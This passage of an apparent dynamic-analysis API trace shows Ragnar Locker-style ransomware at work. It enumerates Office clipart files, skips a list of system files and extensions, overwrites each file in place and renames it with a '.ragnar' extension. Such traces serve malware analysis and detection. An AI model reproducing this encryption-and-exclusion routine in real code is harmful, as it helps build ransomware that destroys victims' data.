lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3670, lpOverlapped=0x0) returned 1 [0082.028] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.028] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3670, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.028] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3670, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3670, lpOverlapped=0x0) returned 1 [0082.028] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3670, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.028] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.029] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3670, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.029] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.029] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.029] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.029] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.029] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.029] GetProcessHeap () returned 0x580000 [0082.029] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.029] CloseHandle (hObject=0xf4) returned 1 [0082.029] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF" [0082.029] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF.ragnar_FD7BD9FC" [0082.029] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.030] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57852200, ftCreationTime.dwHighDateTime=0x1bd4b33, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x57852200, ftLastWriteTime.dwHighDateTime=0x1bd4b33, nFileSizeHigh=0x0, nFileSizeLow=0x1b1a, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00202_.WMF", cAlternateFileName="")) returned 1 [0082.030] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.030] lstrcpyW (in: lpString1=0x1eb62e, lpString2="EN00202_.WMF" | out: lpString1="EN00202_.WMF") returned="EN00202_.WMF" [0082.030] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned=".WMF" [0082.030] lstrcmpiW (lpString1="EN00202_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.030] lstrcmpiW (lpString1="EN00202_.WMF", lpString2="autorun.inf") returned 1 [0082.030] lstrcmpiW (lpString1="EN00202_.WMF", lpString2="boot.ini") returned 1 [0082.030] lstrcmpiW (lpString1="EN00202_.WMF", lpString2="bootfont.bin") returned 1 [0082.030] lstrcmpiW (lpString1="EN00202_.WMF", lpString2="bootsect.bak") returned 1 [0082.030] lstrcmpiW (lpString1="EN00202_.WMF", lpString2="bootmgr") returned 1 [0082.030] lstrcmpiW (lpString1="EN00202_.WMF", lpString2="bootmgr.efi") returned 1 [0082.030] lstrcmpiW (lpString1="EN00202_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.030] lstrcmpiW (lpString1="EN00202_.WMF", lpString2="desktop.ini") returned 1 [0082.030] lstrcmpiW (lpString1="EN00202_.WMF", lpString2="iconcache.db") returned -1 [0082.030] lstrcmpiW (lpString1="EN00202_.WMF", lpString2="ntldr") returned -1 [0082.030] lstrcmpiW (lpString1="EN00202_.WMF", lpString2="ntuser.dat") returned -1 [0082.030] lstrcmpiW (lpString1="EN00202_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.030] lstrcmpiW (lpString1="EN00202_.WMF", lpString2="ntuser.ini") returned -1 [0082.030] lstrcmpiW (lpString1="EN00202_.WMF", lpString2="thumbs.db") returned -1 [0082.030] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.030] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.030] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.030] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.030] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.030] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.030] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.030] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf")) returned 0x20 [0082.032] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.032] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6938) returned 1 [0082.032] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1b11, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.032] GetProcessHeap () returned 0x580000 [0082.032] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.032] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.033] VirtualAlloc (lpAddress=0x0, dwSize=0x1b1a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.033] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.033] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.034] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1b1a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1b1a, lpOverlapped=0x0) returned 1 [0082.034] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.034] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1b1a, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.034] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1b1a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1b1a, lpOverlapped=0x0) returned 1 [0082.035] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1b1a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.035] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.035] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1b1a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.035] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.035] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.035] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.035] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.035] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.035] GetProcessHeap () returned 0x580000 [0082.035] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.035] CloseHandle (hObject=0xf4) returned 1 [0082.035] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF" [0082.035] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF.ragnar_FD7BD9FC" [0082.035] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.036] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7a68a00, ftCreationTime.dwHighDateTime=0x1bd4b29, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd7a68a00, ftLastWriteTime.dwHighDateTime=0x1bd4b29, nFileSizeHigh=0x0, nFileSizeLow=0x3044, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00222_.WMF", cAlternateFileName="")) returned 1 [0082.036] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.036] lstrcpyW (in: lpString1=0x1eb62e, lpString2="EN00222_.WMF" | out: lpString1="EN00222_.WMF") returned="EN00222_.WMF" [0082.036] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned=".WMF" [0082.036] lstrcmpiW (lpString1="EN00222_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.036] lstrcmpiW (lpString1="EN00222_.WMF", lpString2="autorun.inf") returned 1 [0082.036] lstrcmpiW (lpString1="EN00222_.WMF", lpString2="boot.ini") returned 1 [0082.036] lstrcmpiW (lpString1="EN00222_.WMF", lpString2="bootfont.bin") returned 1 [0082.036] lstrcmpiW (lpString1="EN00222_.WMF", lpString2="bootsect.bak") returned 1 [0082.036] lstrcmpiW (lpString1="EN00222_.WMF", lpString2="bootmgr") returned 1 [0082.036] lstrcmpiW (lpString1="EN00222_.WMF", lpString2="bootmgr.efi") returned 1 [0082.036] lstrcmpiW (lpString1="EN00222_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.036] lstrcmpiW (lpString1="EN00222_.WMF", lpString2="desktop.ini") returned 1 [0082.036] lstrcmpiW (lpString1="EN00222_.WMF", lpString2="iconcache.db") returned -1 [0082.036] lstrcmpiW (lpString1="EN00222_.WMF", lpString2="ntldr") returned -1 [0082.036] lstrcmpiW (lpString1="EN00222_.WMF", lpString2="ntuser.dat") returned -1 [0082.036] lstrcmpiW (lpString1="EN00222_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.036] lstrcmpiW (lpString1="EN00222_.WMF", lpString2="ntuser.ini") returned -1 [0082.036] lstrcmpiW (lpString1="EN00222_.WMF", lpString2="thumbs.db") returned -1 [0082.036] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.036] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.036] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.037] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.037] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.037] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.037] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.037] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf")) returned 0x20 [0082.037] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.037] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=12356) returned 1 [0082.037] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x303b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.037] GetProcessHeap () returned 0x580000 [0082.037] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.037] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.039] VirtualAlloc (lpAddress=0x0, dwSize=0x3044, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.039] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.039] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.039] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3044, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3044, lpOverlapped=0x0) returned 1 [0082.040] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.040] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3044, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.040] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3044, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3044, lpOverlapped=0x0) returned 1 [0082.040] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3044, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.040] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.040] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3044, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.040] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.040] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.040] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.041] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.041] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.041] GetProcessHeap () returned 0x580000 [0082.041] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.041] CloseHandle (hObject=0xf4) returned 1 [0082.041] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF" [0082.041] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF.ragnar_FD7BD9FC" [0082.041] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.041] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1dc9900, ftCreationTime.dwHighDateTime=0x1bd4b18, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1dc9900, ftLastWriteTime.dwHighDateTime=0x1bd4b18, nFileSizeHigh=0x0, nFileSizeLow=0x1a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00242_.WMF", cAlternateFileName="")) returned 1 [0082.041] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.041] lstrcpyW (in: lpString1=0x1eb62e, lpString2="EN00242_.WMF" | out: lpString1="EN00242_.WMF") returned="EN00242_.WMF" [0082.041] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned=".WMF" [0082.041] lstrcmpiW (lpString1="EN00242_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.041] lstrcmpiW (lpString1="EN00242_.WMF", lpString2="autorun.inf") returned 1 [0082.042] lstrcmpiW (lpString1="EN00242_.WMF", lpString2="boot.ini") returned 1 [0082.042] lstrcmpiW (lpString1="EN00242_.WMF", lpString2="bootfont.bin") returned 1 [0082.042] lstrcmpiW (lpString1="EN00242_.WMF", lpString2="bootsect.bak") returned 1 [0082.042] lstrcmpiW (lpString1="EN00242_.WMF", lpString2="bootmgr") returned 1 [0082.042] lstrcmpiW (lpString1="EN00242_.WMF", lpString2="bootmgr.efi") returned 1 [0082.042] lstrcmpiW (lpString1="EN00242_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.042] lstrcmpiW (lpString1="EN00242_.WMF", lpString2="desktop.ini") returned 1 [0082.042] lstrcmpiW (lpString1="EN00242_.WMF", lpString2="iconcache.db") returned -1 [0082.042] lstrcmpiW (lpString1="EN00242_.WMF", lpString2="ntldr") returned -1 [0082.042] lstrcmpiW (lpString1="EN00242_.WMF", lpString2="ntuser.dat") returned -1 [0082.042] lstrcmpiW (lpString1="EN00242_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.042] lstrcmpiW (lpString1="EN00242_.WMF", lpString2="ntuser.ini") returned -1 [0082.042] lstrcmpiW (lpString1="EN00242_.WMF", lpString2="thumbs.db") returned -1 [0082.042] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.042] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.042] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.042] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.042] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.042] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.042] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.042] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf")) returned 0x20 [0082.043] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.043] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6780) returned 1 [0082.043] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1a73, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.043] GetProcessHeap () returned 0x580000 [0082.043] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.043] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.044] VirtualAlloc (lpAddress=0x0, dwSize=0x1a7c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.045] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.045] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.045] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1a7c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1a7c, lpOverlapped=0x0) returned 1 [0082.045] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.045] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1a7c, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.045] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1a7c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1a7c, lpOverlapped=0x0) returned 1 [0082.046] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, 